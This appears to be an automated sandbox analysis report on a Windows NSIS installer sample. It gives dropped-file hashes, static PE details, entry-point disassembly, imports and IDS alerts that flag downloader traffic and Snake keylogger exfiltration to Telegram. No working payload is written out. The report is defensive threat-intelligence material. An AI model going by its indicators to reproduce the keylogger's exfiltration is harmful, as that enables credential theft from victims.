Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Andoke\prepares.pli

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Kliner225.Pla

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	data
Category:	dropped
Size (bytes):	106104
Entropy (8bit):	4.610026616368888
Encrypted:	false
SSDEEP:	1536:IP3wTh7DRSV+79P0aNI1oQnoz7vqcpMY1E2u+LwLZhyYX:IoThXx7eaNI1FnK2hsLwL9
MD5:	FEF7421EF2B950A579357212A13814E0
SHA1:	32F3468D205DC202181D1E27BF3266923F04CA12
SHA-256:	89AFF9FB847E87231D9D1161094F1509F180B1B26A968410A82D215F755614A4
SHA-512:	3EE75C05BAECDDAEDEC8876AD4F85D0A67E3C0C4051CFD1A3E0D59C3A94B92D84FA0762A166A5B53EDEEC2AA8918C36E770D343C72891A2989A5FD49CBE9770B
Malicious:	false
Reputation:	low
Preview:	.....rr........JJ.......ii...,,,,..........(....................aa.......................mmmm..........***......................................XX..............!..............................J.....ZZ................D..;;.B.8.:......z.........]..........MM................VV.c........Q....k....kk................................................>............;...h...................../............SS.H......E......iiiii.HHHH.%..........^........................................~......V.4........xx..........,,.................................."""...T.....yyyyy..BBB....6666................888............3..............................JJ...~~.........kk...................WW.====.........[[[[[.......]]].@@@............r...V......7...'.......((..............RRRR.....................#....$..D...................V.E....1....................\|..YY................3333.......a........OOO.....................Z........<.............[.........]]]...............g..............D...VVVV........................

C:\Users\user\AppData\Local\Iw\Osteocele.Tir

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	data
Category:	dropped
Size (bytes):	280856
Entropy (8bit):	7.788212328856588
Encrypted:	false
SSDEEP:	6144:BXvtGbv4RD5mE0/m97evA/V94wNLgC6iJ4dsjnRBpif:BXVIvsMpMeA/V94ZCmdkRfA
MD5:	9E47063807062051CA0A82BD7A4F10BE
SHA1:	BA22C4BE24119B1386A1B54E42EF4258233B6B67
SHA-256:	79D66FF49DB8E9E21D963393FEFC4F3E5139EEB212B7F53220A66D2B145BD7D6
SHA-512:	91536F5C93DD735DE1293303A8F132562C9CF071B8EDBF397D3338CC29C91BA7D4DB34790B207C0BD28C65F635D0376F4996888501ECED83843648CA098B6D29
Malicious:	false
Reputation:	low
Preview:	.4444......z..''........:::.KK.... ...E.................l.................H.........UUUUU......B......P.))............hh.,,............NN................zzz.....ii....................................~..................U........@@.;;.......&&...........................................................E............................ii...\\\..............QQQ..q.......YYY..-.....55......7......F........RR...............dd...................VV.......................5.............................................,.ZZZ........................... .....G.---....i......................T.......&......B...............s..........................5....b.....m.......`.a...........X.............~~...z.v........vv...M.^.....G..!......a.<...................................\...........................Q.f................................\|\|..................&&.u.....dddd....+..................................======..........88..........\\\.GGGG.....O..................!!..v......................w."............

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: b5BQbAhwVD.exe, Detection: malicious, Browse Filename: 9Yn5tjyOgT.exe, Detection: malicious, Browse Filename: 6ZoBPR3isG.exe, Detection: malicious, Browse Filename: V7OHj6ISEo.exe, Detection: malicious, Browse Filename: 2CQ2zMn0hb.exe, Detection: malicious, Browse Filename: 6mGpn6kupm.exe, Detection: malicious, Browse Filename: v4nrZtP7K2.exe, Detection: malicious, Browse Filename: xXUnP7uCBJ.exe, Detection: malicious, Browse Filename: 4UQ5wnI389.exe, Detection: malicious, Browse Filename: ajRZflJ2ch.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsuC035.tmp

Download File

Process:	C:\Users\user\Desktop\rXKfKM0T49.exe
File Type:	data
Category:	dropped
Size (bytes):	1511591
Entropy (8bit):	5.466660339097473
Encrypted:	false
SSDEEP:	24576:QeVI0N994Mjbo3xX3y4bz2lWwWo6rSTZyDnX8:E0NP4qoBXbz2luo6rS1yz8
MD5:	CFD0C4C2A683850FAFD1B81CC97F2763
SHA1:	3155004207814F7877863A4ADD4C6258D4E84A2C
SHA-256:	598F31497631F543E1EA32C275BFE9C75CD3EEFF73CCABAC0C0F44938BB235D5
SHA-512:	95F9BA70AF2AABD8D63F6E73379C832B31351A520367A580B6FE1A45295F9C7DCBB2A9AF51DE9B0175D973AF823086FAA3FAE1D6BB945FC727421D6B728AC0B1
Malicious:	false
Preview:	X6......,.......,.......\........!.......5.......6..........................M...i............................H..............................................................................................................................................................................G...J...............h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.960601663335954
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rXKfKM0T49.exe
File size:	1'034'264 bytes
MD5:	948a8f01fca4eecddbcb1c20b26a0a53
SHA1:	f1254c7c3a1051c4624072c07f725aa62ff4a316
SHA256:	28d6a2e755f646875e1ed22b6e8443e074e2fa7730d4f202ffe21c48db789fad
SHA512:	655c9aa0c0d74a7ba7e260429bc2d20d89bf9057b597f43b71ad97f4e2a925506564bc042363424a7d791e61697de361418c40a8c15608a635e0a37d48674123
SSDEEP:	24576:9jwKCNv1K8uI69d68+cOGyQA81xfEsc/fbCi1WYH/:V1CV1Fu59ZH76C8WYf
TLSH:	3E252309D880EEB2D5FB19306DE2F213B7A7B81210A1916B3762373F78B55918C5EBD4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007FC80D1D2F73h
push ebx
call 00007FC80D1D623Dh
cmp eax, ebx
je 00007FC80D1D2F69h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FC80D1D61B7h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FC80D1D2F4Ch
push 0000000Ah
call 00007FC80D1D6210h
push 00000008h
call 00007FC80D1D6209h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007FC80D1D61FDh
cmp eax, ebx
je 00007FC80D1D2F71h
push 0000001Eh
call eax
test eax, eax
je 00007FC80D1D2F69h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:11:47.560964+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49972	216.58.206.46	443	TCP
2025-01-10T23:11:52.664493+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49975	132.226.247.73	80	TCP
2025-01-10T23:11:59.398915+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49975	132.226.247.73	80	TCP
2025-01-10T23:12:00.055572+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49977	149.154.167.220	443	TCP
2025-01-10T23:12:00.281914+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49977	149.154.167.220	443	TCP
2025-01-10T23:12:01.242641+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49978	132.226.247.73	80	TCP
2025-01-10T23:12:01.813771+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49979	149.154.167.220	443	TCP
2025-01-10T23:12:02.042849+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49979	149.154.167.220	443	TCP
2025-01-10T23:12:02.789544+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49980	132.226.247.73	80	TCP
2025-01-10T23:12:03.365561+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49981	149.154.167.220	443	TCP
2025-01-10T23:12:03.589477+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49981	149.154.167.220	443	TCP
2025-01-10T23:12:04.932807+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49983	149.154.167.220	443	TCP
2025-01-10T23:12:05.263746+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49983	149.154.167.220	443	TCP
2025-01-10T23:12:06.599379+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49985	149.154.167.220	443	TCP
2025-01-10T23:12:06.806211+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49985	149.154.167.220	443	TCP
2025-01-10T23:12:08.162259+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49987	149.154.167.220	443	TCP
2025-01-10T23:12:08.373482+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49987	149.154.167.220	443	TCP
2025-01-10T23:12:09.776645+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49989	149.154.167.220	443	TCP
2025-01-10T23:12:09.991034+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49989	149.154.167.220	443	TCP
2025-01-10T23:12:11.295791+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T23:12:11.627973+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T23:12:12.996532+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T23:12:13.282728+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T23:12:14.599622+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T23:12:14.861651+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T23:12:16.206189+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T23:12:17.130510+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T23:12:18.465680+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T23:12:18.755647+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T23:12:20.069772+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T23:12:20.282175+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T23:12:21.674756+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T23:12:21.929004+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T23:12:23.301443+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T23:12:23.510404+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T23:12:25.862990+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T23:12:26.221835+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T23:12:27.550625+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T23:12:27.866639+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T23:12:29.219177+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T23:12:29.438612+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T23:12:30.766263+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T23:12:30.991536+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T23:12:32.422148+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T23:12:32.714699+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T23:12:34.024915+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T23:12:34.305790+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T23:12:35.619872+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T23:12:35.900793+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T23:12:37.213771+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T23:12:37.515075+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T23:12:38.823917+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50024	149.154.167.220	443	TCP
